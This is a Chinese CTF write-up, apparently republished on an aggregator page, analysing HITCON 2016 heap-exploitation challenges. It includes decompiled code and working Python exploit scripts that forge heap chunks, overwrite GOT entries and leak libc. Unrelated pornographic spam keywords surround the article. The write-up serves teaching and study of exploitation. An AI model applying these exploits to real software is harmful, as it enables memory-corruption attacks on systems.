日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 人文社科 > 生活经验 >内容正文

生活经验

Hitcon 2016 Pwn赛题学习

發(fā)布時(shí)間:2023/11/27 生活经验 45 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Hitcon 2016 Pwn赛题学习 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

PS:這是我很久以前寫(xiě)的,大概是去年剛結(jié)束Hitcon2016時(shí)寫(xiě)的。寫(xiě)完之后就丟在硬盤(pán)里沒(méi)管了,最近翻出來(lái)才想起來(lái)寫(xiě)過(guò)這個(gè),索性發(fā)出來(lái)

0x0 前言

Hitcon個(gè)人感覺(jué)是高質(zhì)量的比賽,相比國(guó)內(nèi)的CTF,Hitcon的題目?jī)?nèi)容更新,往往會(huì)出現(xiàn)一些以前從未從題目中出現(xiàn)過(guò)的姿勢(shì)。同時(shí)觀察一些CTF也可以發(fā)現(xiàn),往往都是國(guó)外以及臺(tái)灣的CTF中首先出現(xiàn)的姿勢(shì),然后一段時(shí)間后才會(huì)被國(guó)內(nèi)的CTF學(xué)習(xí)到。
此次Hitcon2016目前還未發(fā)現(xiàn)有中文的writeup放出,由于Hitcon題目的高質(zhì)量,所以這里寫(xiě)一篇Hitcon Pwn題目的賽題分析,會(huì)從解題思路和出題思路兩方面去分析。
題目列表:

  • Pwn100-Secret Holder (30解出)
  • Pwn200-ShellingFolder (39解出)
  • Pwn300-Sleepy Holder (1解出)
  • Pwn300-Babyheap (3解出)
  • Pwn350-OmegaGo (3解出)
  • Pwn400-Heart Attack (3解出)
  • Pwn500-House of Orange (3解出)

可見(jiàn)這次的賽題難度還是相當(dāng)高的,在強(qiáng)如PPP、LC?BC等國(guó)際名隊(duì),國(guó)內(nèi)強(qiáng)隊(duì)0ops、AAA參賽的情況下。大多數(shù)題目也只有幾隊(duì)能夠解出。

0x1 Pwn100-Secret Holder

1.分析

這是一道經(jīng)典的選單程序,可以分配small、big、huge三種堆塊,其中small屬于small bin,其余兩種都屬于large bin(一個(gè)是4000字節(jié)另一個(gè)是40萬(wàn)字節(jié))。

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程序是x64的,開(kāi)啟了除了PIE之外的所有保護(hù)。
這道題的漏洞給的相當(dāng)明顯,當(dāng)堆塊被free掉之后,堆指針卻沒(méi)有清零。因此存在著Use-After-Free漏洞,可以很容易的看出我們能夠在一個(gè)塊中獲得一個(gè)懸垂指針。

  puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");puts("3. Huge secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);switch ( v0 ){case 2:free(big_ptr);big_num = 0;break;case 3:free(huge_ptr);huge_num = 0;break;case 1:free(small_ptr);small_num = 0;break;}

一般存在這種情況就都是使用double free的利用方法。但是這道題比較不同的地方,也是難點(diǎn)所在的地方是,程序給出了一個(gè)大小為40萬(wàn)字節(jié)的塊,在分配屬于large bin大小的堆塊的時(shí)候會(huì)首先進(jìn)行一系列的合并,然后檢查large bin表和unsorted bin表等一系列bins中是否存在可以滿足我們需求大小的塊,明顯這些bins中是不可能存在40萬(wàn)字節(jié)這么大的塊的。然后malloc會(huì)寄希望于從top chunk中分配,對(duì)于4000字節(jié)還好但是40萬(wàn)字節(jié)明顯top chunk本身都不會(huì)有這么大。
那么系統(tǒng)接下來(lái)會(huì)去試圖擴(kuò)展堆的大小,使用的函數(shù)是sysmalloc,這個(gè)函數(shù)會(huì)首先判斷是否滿足mmap的分配條件,如果要分配的大小大于mmap的閥值(mp_.mmap_threshold),并且此進(jìn)程通過(guò)mmap分配的總內(nèi)存數(shù)量(mp_.n_mmaps)小于設(shè)定的最大值的話(mp_.n_mmaps_max),就會(huì)使用mmap分配

 if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&(mp_.n_mmaps < mp_.n_mmaps_max)){……}

毫無(wú)疑問(wèn),我們的40萬(wàn)字節(jié)的分配滿足這兩個(gè)條件,但這不是我們想看到的。
因?yàn)槌跏嫉亩咽怯蒪rk方式分配的,其中brk分配的堆的地址是緊鄰著bss段的(如果存在ASLR則會(huì)加一個(gè)隨機(jī)的偏移值)。而mmap分配的內(nèi)存則會(huì)創(chuàng)建一個(gè)內(nèi)存映射段出來(lái),這兩者分配出來(lái)的內(nèi)存的地址相距是很遠(yuǎn)的。
那么有沒(méi)有辦法讓40萬(wàn)字節(jié)通過(guò)brk分配呢?答案是有的,sysmalloc在mmap出內(nèi)存之后會(huì)隨之更新mp_.n_mmaps_max值,如下所示:

unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);

這樣當(dāng)下次判斷的時(shí)候,就不再滿足mmap分配的條件了,從而使得通過(guò)brk來(lái)分配。
對(duì)于double free的利用,我們通常采取的手段是圍繞著懸垂指針構(gòu)造兩個(gè)偽堆塊結(jié)構(gòu),并且設(shè)置前一個(gè)塊為空,這樣當(dāng)我們free掉指針的時(shí)候就會(huì)觸發(fā)unlink宏達(dá)到執(zhí)行任意代碼的目的。為了實(shí)現(xiàn)這一目的,我們必須要讓這兩個(gè)偽堆塊屬于small bin的范疇。對(duì)于x64來(lái)說(shuō)范圍是32~1016byte,40字節(jié)的small明顯屬于small bin,但是big和huge均不屬于small bin。
如果我們偽造兩個(gè)small bin來(lái)布局內(nèi)存的話,那么是會(huì)引發(fā)段錯(cuò)誤的,如以下代碼所示:

if (__builtin_expect (!prev_inuse(nextchunk), 0))
{errstr = "double free or corruption (!prev)";goto errout;
}

這段_int_free中的代碼本來(lái)的目的是為了防止double free的,它檢測(cè)了當(dāng)前塊的下一塊的prev_inuse域是否被設(shè)置,如果我們簡(jiǎn)單粗暴的直接偽造兩個(gè)small bin那么相應(yīng)位置的inuse位肯定是0,從而引發(fā)錯(cuò)誤,所以我們要做的是在兩個(gè)偽造的small bin之后再接著偽造一個(gè)塊就可以繞過(guò)這個(gè)檢測(cè)了。

當(dāng)成功的觸發(fā)了unlink之后,我們就可以發(fā)現(xiàn)原有的big指針被改成了&big-0x18

===========================================================================
.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write
.bss:0000000000602090 _bss            segment para public 'BSS' use64
.bss:0000000000602090                 assume cs:_bss
.bss:0000000000602090                 ;org 602090h
.bss:0000000000602090                 assume es:nothing, ss:nothing, ds:_data, 
.bss:0000000000602090                 public stdout
.bss:0000000000602090 ; FILE *stdout
.bss:0000000000602090 stdout          dq ?                    ; DATA XREF: 
.bss:0000000000602090                                         ; sub_4007B0+22o ...
.bss:0000000000602090                                         ; Copy of shared 
.bss:0000000000602098 byte_602098     db ?                    ; DATA XREF: 
.bss:0000000000602098                                         ; sub_400820+13w
.bss:0000000000602099                 align 20h
.bss:00000000006020A0 ; void *big_pointer
.bss:00000000006020A0 big_pointer     dq ?                    ; DATA XREF: 
.bss:00000000006020A0                                         ; 
.bss:00000000006020A8 ; void *huge_pointer
.bss:00000000006020A8 huge_pointer    dq ?                    ; DATA XREF: 
.bss:00000000006020A8                                         ; 
.bss:00000000006020B0 ; void *small_pointer
.bss:00000000006020B0 small_pointer   dq ?                    ; DATA XREF: 
.bss:00000000006020B0                                         ; sub_40086D+D3r ...
.bss:00000000006020B8 big_jisu        dd ?                    ; DATA XREF: 
.bss:00000000006020B8                                         ; 
.bss:00000000006020BC huge_jisu       dd ?                    ; DATA XREF: 
.bss:00000000006020BC                                         ; 
.bss:00000000006020C0 small_jisu      dd ?                    ; DATA XREF: 
.bss:00000000006020C0                                         ; sub_40086D+BFw ...
.bss:00000000006020C4                 align 8
.bss:00000000006020C4 _bss            ends
.bss:00000000006020C4

然后我們?cè)倮胷enew功能對(duì)big_pointer進(jìn)行寫(xiě)入,如上面的bss布局所示可以輕易的覆蓋到big_pointer、huge_pointer、small_pointer,從而實(shí)現(xiàn)了任意地址寫(xiě)。
因?yàn)轭}目沒(méi)有提供libc.so所以需要自己去泄漏libc.so的版本和基地址。因?yàn)槲覀円呀?jīng)具備了任意地址寫(xiě)的能力,所以現(xiàn)在的問(wèn)題就是如何把任意地址寫(xiě)轉(zhuǎn)換成為任意地址泄漏。
這里我們使用的方法是把free函數(shù)的got表值覆蓋為輸出函數(shù)的地址,比如puts。這個(gè)方法在去年的XXXX CTF里也有出現(xiàn)過(guò)。

2.利用步驟

通過(guò)上面的分析我們可以得出以下的利用步驟
1.keep huge
2.wipe huge //提高了mp_.n_mmaps_max的值
3.keep small
4.keep big
5.wipe small
6.wipe big //獲取懸垂指針
7.keep huge //構(gòu)造偽堆塊結(jié)構(gòu)
8.wipe big //double free
9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
這種情況下的exp如下:

from zio import *
from struct import *io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)fake_chunk=''
fake_chunk+=l64(0)+l64(33)
fake_chunk+=l64(ptr-24)+l64(ptr-16)
fake_chunk=fake_chunk.ljust(32,'a')
fake_chunk+=l64(32)+l64(160)
fake_chunk=fake_chunk.ljust(192,'b')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(352,'c')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(512,'d')sc1=l64(1)+l64(0)+l64(0x602018)+l64(0x06020A0)+l64(0x602030)#memset@got
sc2=l64(0x4006c6)+l64(0x4006c6)#puts@plt
sc3=l64(0x602048)+l64(0x06020A0)+l64(0x0602040)#__libc_start_main@got + read@gotio.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe huge
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('3')io.read_until('3. Renew secret')#keep small
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('1')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#keep big
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline('xxx')io.read_until('3. Renew secret')#wipe small
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')io.read_until('3. Renew secret')#wipe big
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(fake_chunk)io.read_until('3. Renew secret')#wipe big  unlink!!!
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc1)io.read_until('3. Renew secret')#renew big
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline(sc2)#io.gdb_hint()io.read_until('3. Renew secret')#wipe small   #memset@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
#io.read_until('3. Renew secret')
memset_got=io.read(20)
print 'memset@got==============='
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc3)io.read_until('3. Renew secret')#wipe small   read@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
read_got=io.read(20)
print 'read@got================'
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))io.read_until('3. Renew secret')#wipe big   _libc_start_main@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')
libc_start=io.read(20)
print 'libc_start_main==========='
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))#io.gdb_hint()  
io.read()

由于libc.so取決于本地測(cè)試時(shí)的版本,所以這里就只提供leak的exp了,最后取得shell已經(jīng)變得非常簡(jiǎn)單了,只需要隨意覆蓋一個(gè)got表為magic system地址即可。

3.總結(jié)

double free利用的題在CTF中較為常見(jiàn),但是結(jié)合了large bin和small bin的double free確實(shí)是很少的。這里面對(duì)于堆塊的brk和mmap分配也需要對(duì)ptmalloc有一定了解的人才能及時(shí)的解出。

0x2 Pwn200-Shelling Folder

1.分析

同樣是x64下的Linux程序,功能大體上是一個(gè)目錄管理程序,所有保護(hù)全開(kāi),但是提供了libc.so。

**************************************ShellingFolder            
**************************************1.List the current folder            2.Change the current folder          3.Make a folder                      4.Create a file in current folder    5.Remove a folder or a file          6.Caculate the size of folder        7.Exit                               
**************************************
Your choice:

在程序里主要的結(jié)構(gòu)如下:
總共是136個(gè)字節(jié)

[80] child_pointer
[8] parents_pointer
[32]    name
[8] size
[4] flag

其中第一個(gè)域是指向自己子結(jié)構(gòu)的指針,共10個(gè)。說(shuō)明一個(gè)目錄最多能存放10個(gè)子結(jié)構(gòu)。第二個(gè)域是父目錄的指針,指向自己的上一級(jí)結(jié)構(gòu)。第三個(gè)域儲(chǔ)存這個(gè)結(jié)構(gòu)的名稱(chēng)。第四個(gè)儲(chǔ)存這個(gè)文件的大小,注意只有這個(gè)結(jié)構(gòu)表示文件時(shí)才使用size域。最后一個(gè)域用來(lái)表示這個(gè)結(jié)構(gòu)是目錄還是文件。
這道題總共有2個(gè)洞,雖然代碼有些啰嗦,但是其中第一洞還是想到明顯的。可以發(fā)現(xiàn)存在一個(gè)棧溢出能夠覆蓋掉局部變量,如下所示我們可以計(jì)算出棧上的緩沖區(qū)s的大小是24個(gè)字節(jié)

-0000000000000030 s               db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018 var_18          dq ?

但是我們進(jìn)行拷貝的時(shí)候卻是拷貝了30個(gè)字節(jié),這樣就覆蓋了v3變量的值,但是并不能達(dá)到返回地址和保存的ebp

  while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));if ( *(_DWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 128LL) == 1 ){*(_QWORD *)v3 = *(_QWORD *)v3;}else{printf("%s : size %ld\n", &s, *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL));*(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL);}}++v4;}

而這個(gè)v3局部變量是一個(gè)指針,之后會(huì)對(duì)這個(gè)指針指向的值做一個(gè)加法操作,我們這里的*(_QWORD )((_QWORD )(a1 + 8LL v4) + 120LL)的值其實(shí)就是之前設(shè)置的當(dāng)前目錄下的文件的size值。但是這個(gè)值是被用戶控制的,而且是可正可負(fù)的。由于加法操作數(shù)可正可負(fù),所以這就相當(dāng)于是造成了一個(gè)任意地址寫(xiě)(write-anything-anywhere)的漏洞。
第二個(gè)漏洞就比較隱蔽了,在作者實(shí)現(xiàn)的MyCopy函數(shù)中,沒(méi)有給拷貝的字符串加上字符串結(jié)束符

void *__fastcall Mycopy(void *a1, const char *a2)
{size_t n; // ST28_8@1n = strlen(a2);return memcpy(a1, a2, n);
}

而這道題恰好又存在著輸出功能,那么我們就有可能利用這個(gè)漏洞來(lái)實(shí)現(xiàn)地址泄漏。
如果這道題沒(méi)有開(kāi)PIE保護(hù),那么利用起來(lái)很簡(jiǎn)單。可以通過(guò)任意地址寫(xiě)去改寫(xiě)bss段上存有的當(dāng)前目錄的指針,來(lái)泄漏出got表的值,然后因?yàn)轭}目提供了libc,所以可以直接計(jì)算出地址,再利用任意地址寫(xiě)寫(xiě)到got表中就可以拿到shell了。
然而,在保護(hù)全開(kāi)的情況下,我們并沒(méi)有一個(gè)確切的地址去寫(xiě),因?yàn)樗心K的地址均是不定的。所以這里使用的方法是部分覆蓋指針?lè)?#xff0c;我們只向目標(biāo)中寫(xiě)入25個(gè)字節(jié)以覆蓋最低位。

__int64 __fastcall sub_1334(__int64 a1)
{if ( !a1 )exit(1);v4 = 0;memset(&s, 0, 0x20uLL);while ( v4 <= 9 ){if ( *(_QWORD *)(a1 + 8LL * v4) ){v3 = a1 + 120;Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));

我們可以看到這里v3的值在發(fā)生溢出被覆蓋前是等于a1+120的,而a1是什么呢?a1是全局變量0x202020也就是當(dāng)前目錄的結(jié)構(gòu)指針。那么v3的值其實(shí)是指向當(dāng)前目錄結(jié)構(gòu)的size域的,我們知道size域距離塊首有0x78的偏移,如果能夠進(jìn)行合理的猜測(cè)那么就可以實(shí)現(xiàn)覆蓋掉10個(gè)指針中的某一個(gè),并把它指向我們?nèi)我舛x的地方。然后通過(guò)1號(hào)list功能就可以實(shí)現(xiàn)泄漏內(nèi)存了。
具體要把指針指向哪里呢?我們要思考一下,之所以堆可以泄漏內(nèi)存是因?yàn)閒ree狀態(tài)的堆存在著fd和bk指針,那么我們首先就要去構(gòu)造一些這樣的空塊出來(lái),然后再把指針指過(guò)去實(shí)現(xiàn)泄漏。
即只覆蓋指針的低地址部分,這種方法并不精確但是通過(guò)不斷的嘗試我們可以摸索出一個(gè)偏移以使得把指針指向這里之后再次泄漏,把指針附近的內(nèi)存讀出,因?yàn)樵趐tmalloc中,一個(gè)塊被釋放后會(huì)被丟人unsorted bin中,只要我們能夠讀到后面的unsorted bin的fd和bk指針就可以獲取到bins[]地址,從而計(jì)算出libc的基地址。

一旦獲得了libc的基地址一切就簡(jiǎn)單了,因?yàn)轭}目已經(jīng)提供了libc文件。所以我們可以直接算出我們想要的地址。在libc中存在著一個(gè)非常好用的位置,即是ptmalloc的一系列hook函數(shù),我們可以通過(guò)libc地址算出free_hook的地址,然后把magic system寫(xiě)入free_hook。之后,當(dāng)我們?cè)俅握{(diào)用free函數(shù)時(shí)就會(huì)轉(zhuǎn)向我們?cè)趂ree_hook中指定的magic system了。
思路已經(jīng)理清楚了。

1.創(chuàng)建8個(gè)文件
2.創(chuàng)建一個(gè)可造成溢出的文件
3.把8個(gè)文件中的后面幾個(gè)釋放掉,以加入unsorted bin
2.計(jì)算大小
3.列出當(dāng)前目錄下的內(nèi)容

exp如下:

from zio import *
from struct import *
io=zio('./sf',timeout=9999)#io.gdb_hint()def BinToInt64(bin):tuple1=unpack('Q',bin[0:8])print tuple1str1=str(tuple1)int1=int(str1[1:19])print int1print hex(int1)return hex(int1)name_overflow=''
name_overflow=name_overflow.ljust(24,'a')+'\x28'offset='200'i=0
for i in range(0,8):io.read_until('Your choice:')#create file x8io.writeline('4')io.read_until('Name of File:')io.writeline(str(i))io.read_until('Size of File:')io.writeline('100')i+=1io.read_until('Your choice:')#create file
io.writeline('4')
io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)i=5
for i in range(5,8):io.read_until('Your choice:')#remove file io.writeline('5')io.read_until('Choose a Folder or file :')io.writeline(str(i))i+=1#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6')io.read_until('Your choice:')#list folder
io.writeline('1')io.read_until('2')
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)io.read()

即可得到bins的地址,然后再推算出malloc_hook的地址。我們?yōu)榱死梅奖阃瑯邮褂昧薽agic system,然后利用前面的任意地址寫(xiě)把magic system的地址寫(xiě)到malloc_hook上。之后當(dāng)我們?cè)俅斡|發(fā)malloc就可以成功的得到shell。

0x3 Pwn300-Sleepy Holder

題目的程序與Pwn100基本上是一致的
main函數(shù)同樣是一個(gè)選單,分為:

Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

其中塊依然是分為small(40)、big(4000)、huge(400000)三種

_int64 keep()
{int v0; // eax@3char s; // [sp+10h] [bp-10h]@3__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("What secret do you want to keep?");puts("1. Small secret");puts("2. Big secret");if ( !huge_jisu )puts("3. Keep a huge secret and lock it forever");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 2 ){if ( !big_jisu ){big_pointer = calloc(1uLL, 4000uLL);big_jisu = 1;puts("Tell me your secret: ");read(0, big_pointer, 4000uLL);}}else if ( v0 == 3 ){if ( !huge_jisu ){huge_pointer = calloc(1uLL, 400000uLL);huge_jisu = 1;puts("Tell me your secret: ");read(0, huge_pointer, 400000uLL);}}else if ( v0 == 1 && !small_jisu ){small_pointer = calloc(1uLL, 40uLL);small_jisu = 1;puts("Tell me your secret: ");read(0, small_pointer, 40uLL);}return *MK_FP(__FS__, 40LL) ^ v3;
}

同樣是釋放后只將計(jì)數(shù)清零,并沒(méi)有清零指針,所以UAF漏洞依然存在

__int64 wipe()
{int v0; // eax@1char s; // [sp+10h] [bp-10h]@1__int64 v3; // [sp+18h] [bp-8h]@1v3 = *MK_FP(__FS__, 40LL);puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");memset(&s, 0, 4uLL);read(0, &s, 4uLL);v0 = atoi(&s);if ( v0 == 1 ){free(small_pointer);small_jisu = 0;         //只清零計(jì)數(shù),并沒(méi)有清零指針}else if ( v0 == 2 ){free(big_pointer);big_jisu = 0;           //只清零計(jì)數(shù),并沒(méi)有清零指針}return *MK_FP(__FS__, 40LL) ^ v3;
}

看到這里我們應(yīng)該意識(shí)到這道題與Pwn100的差別了,就是huge塊只可以分配一次,并且無(wú)法釋放。
所以要另想辦法才行,不得不佩服Hitcon CTF主辦方的是(可能是217?)這道題的利用思路很有可能是是首創(chuàng)的,甚至之前都從來(lái)沒(méi)有出現(xiàn)過(guò)的。
在ptmalloc中分配一個(gè)large bin的時(shí)候,會(huì)調(diào)用malloc_consolidate()函數(shù)來(lái)清除fastbin中的塊。
具體操作如下:

 else //當(dāng)分配large bin時(shí) {idx = largebin_index(nb);if (have_fastchunks(av))malloc_consolidate(av);}

malloc_consolidate函數(shù)其實(shí)只在存在fastbin塊時(shí)進(jìn)行操作

static void malloc_consolidate(mstate av)
{//...if (get_max_fast () != 0) //當(dāng)fastbin存在時(shí){//...do    {//...do  {//...if (!prev_inuse(p)) //合并fastbin中的相鄰空塊{prevsize = p->prev_size;size += prevsize;p = chunk_at_offset(p, -((long) prevsize));unlink(p, bck, fwd);}//...} while ( (p = nextp) != 0); //遍歷一條fastbin鏈表里的每一個(gè)塊}while (fb++ != maxfb); //遍歷每一條fastbin鏈表  }else //當(dāng)fastbin不存在時(shí){//...}
}

目的是把fastbin中的塊的狀態(tài)設(shè)置為空,因?yàn)槲覀冎纅astbin中的塊是始終處于使用狀態(tài)的,就是說(shuō)fastbin塊的后塊的pre_inuse位始終置1。但是,一旦觸發(fā)了malloc_consolidate函數(shù)就會(huì)把fastbin塊丟入small bin中并且設(shè)置為釋放狀態(tài),即下一塊的pre_inuse域?yàn)?。

1   keep small 
2   keep big     //防止small與big合并
3   wipe small   //small進(jìn)入fastbin表
4   keep huge    //分配large bin使得fastbin塊進(jìn)入small bin
5  wipe small   //再次free同一個(gè)塊,是為了讓它存在于fastbin表中
6  keep small   //fastbin的項(xiàng)被取下,之前釋放的內(nèi)存被返還(在這塊內(nèi)存中布局偽堆結(jié)構(gòu))
7  wipe big     //unlink
8  renew small  //覆寫(xiě)指針,接著就是任意地址寫(xiě)

這道題利用的點(diǎn)是,當(dāng)分配large bin的時(shí)候,會(huì)把fastbin的塊設(shè)為free狀態(tài),并且丟進(jìn)small bins中。從而使得fastbin后面的big chunk的inuse位為0。之后的目的就是要保持住這個(gè)為0的inuse位,最后在這個(gè)塊前面重新取回那個(gè)small bin,實(shí)現(xiàn)觸發(fā)unlink造成任意地址寫(xiě)。
所以分配huge塊(large bin)的意義就是為了觸發(fā)malloc_consolidate函數(shù),而第二次釋放fastbin塊是為了讓它加入到fastbin鏈表中,而且分配的時(shí)候如果是從fastbin分配過(guò)來(lái)的話那么根本就不會(huì)更改inuse域。
所以這個(gè)題其實(shí)利用了這樣的一種矛盾:
1.從fastbin分配不會(huì)設(shè)置后塊的pre_inuse位。
2.malloc_consolidate會(huì)把fastbin的后塊pre_inuse位清零。

本質(zhì)的利用方法依然是unlink,修改了塊的指針,然后可以實(shí)現(xiàn)指針的覆寫(xiě)從而導(dǎo)致任意地址寫(xiě)。解下的步驟與Pwn100就很類(lèi)似了。

轉(zhuǎn)載于:https://www.cnblogs.com/Ox9A82/p/6766261.html

總結(jié)

以上是生活随笔為你收集整理的Hitcon 2016 Pwn赛题学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

91福利在线观看 | 人人爽人人爽人人爽 | japanesexxxhd奶水 国产一区二区在线免费观看 | 麻豆精品传媒视频 | a电影免费看 | 国产在线观看高清视频 | 日韩在线视频一区 | 久久综合五月天婷婷伊人 | 久久高清毛片 | 丁香婷婷社区 | 婷婷精品国产欧美精品亚洲人人爽 | 国产二区免费视频 | 天堂va在线高清一区 | 免费高清在线观看成人 | 亚洲日本色 | 一区二区三区在线免费观看 | 激情欧美丁香 | 91电影福利| 91精品视频在线 | 人人干人人搞 | 国产日产精品一区二区三区四区的观看方式 | 超碰在线成人 | 久99久精品视频免费观看 | 国产精品成人a免费观看 | 精品国产网址 | 久久三级视频 | 国产在线p | 激情综合一区 | 美女国产 | 久久久久久高潮国产精品视 | 国产不卡在线 | 中文字幕在线观看第一区 | 免费观看的av网站 | 国产精品久久久久一区 | 亚洲五月激情 | 国产一级片在线播放 | 九色自拍视频 | 国产精品1区 | 欧美激情综合五月色丁香 | 日本最新中文字幕 | 亚洲午夜久久久久久久久久久 | 99久久夜色精品国产亚洲96 | 久久免费视频播放 | 亚洲欧美国产视频 | 不卡国产在线 | 黄色片网站大全 | 久久高清免费观看 | 欧美另类69 | 日韩久久精品一区二区三区下载 | 九色自拍视频 | 亚洲性少妇性猛交wwww乱大交 | 久久久久国产一区二区 | 国产一区二区三区免费在线观看 | 欧美日本在线视频 | 免费亚洲黄色 | 国产亚洲精品v | 福利视频导航网址 | 日本精品久久久久中文字幕5 | 亚州精品天堂中文字幕 | 久久久麻豆视频 | 91免费视频网站在线观看 | 91九色蝌蚪视频在线 | av免费看看| 国产精品九九久久久久久久 | 国产一区网| 国产精品久久久久国产a级 激情综合中文娱乐网 | 五月香婷 | 久草影视在线观看 | 久久美女高清视频 | 成人网色 | 国产亚洲精品久久久久久 | 午夜精品在线看 | 久久只精品99品免费久23小说 | 欧美成人按摩 | 国产美女视频网站 | 免费在线观看av的网站 | 97色免费视频 | 干狠狠| 高潮久久久| 婷婷色av | av高清一区二区三区 | 亚洲乱亚洲乱妇 | 国产不卡在线视频 | 色婷婷精品大在线视频 | 国产免费黄色 | 久久r精品 | 国产91精品高清一区二区三区 | 射九九| av成人资源| 中文字幕第一 | 欧美精品国产精品 | 99久久婷婷国产 | 97免费| 免费高清在线视频一区· | 免费在线观看视频一区 | 日本中文字幕在线视频 | 精品欧美小视频在线观看 | 视频精品一区二区三区 | 免费人做人爱www的视 | 91免费国产在线观看 | 美女网站在线 | 国产精品久久久久久久久久久久 | 99精品国产成人一区二区 | 激情视频免费在线 | 在线观看中文字幕视频 | 久久草网站| 国产午夜精品理论片在线 | 中文字幕一区二区三区乱码在线 | 视频在线观看99 | 91精品播放| 黄色动态图xx | 日日夜夜婷婷 | 91精选在线 | 久久亚洲在线 | 日日夜夜网站 | 日韩精品视频免费 | www.色com | 麻豆视频在线观看免费 | 国产精品久久久毛片 | 在线观看日韩av | 日韩手机在线观看 | 国产精品久久久久久久久久久久午夜 | 亚洲最大成人网4388xx | 久久久久久久久综合 | 免费日韩 精品中文字幕视频在线 | 精品久久网站 | 在线免费观看黄色小说 | 亚洲免费激情 | av福利网址导航大全 | 国产一级免费在线 | 特级西西人体444是什么意思 | 欧美精品亚洲精品日韩精品 | 日韩精品一区在线观看 | 久久精品3| 国产精品一区二区三区久久 | 精品久久久久久国产偷窥 | 在线国产91 | 婷久久| 亚洲精品2区 | av免费电影网站 | 国产精品久久久久久久久久ktv | 欧美日韩一区二区三区在线免费观看 | 成人网444ppp | 久草久草久草久草 | 中文av在线天堂 | 国产一级电影免费观看 | 国产精品成人av电影 | 国产在线精品区 | 波多野结衣精品在线 | 日本99精品 | 欧美日本一二三 | 91在线一区 | 日韩理论片 | 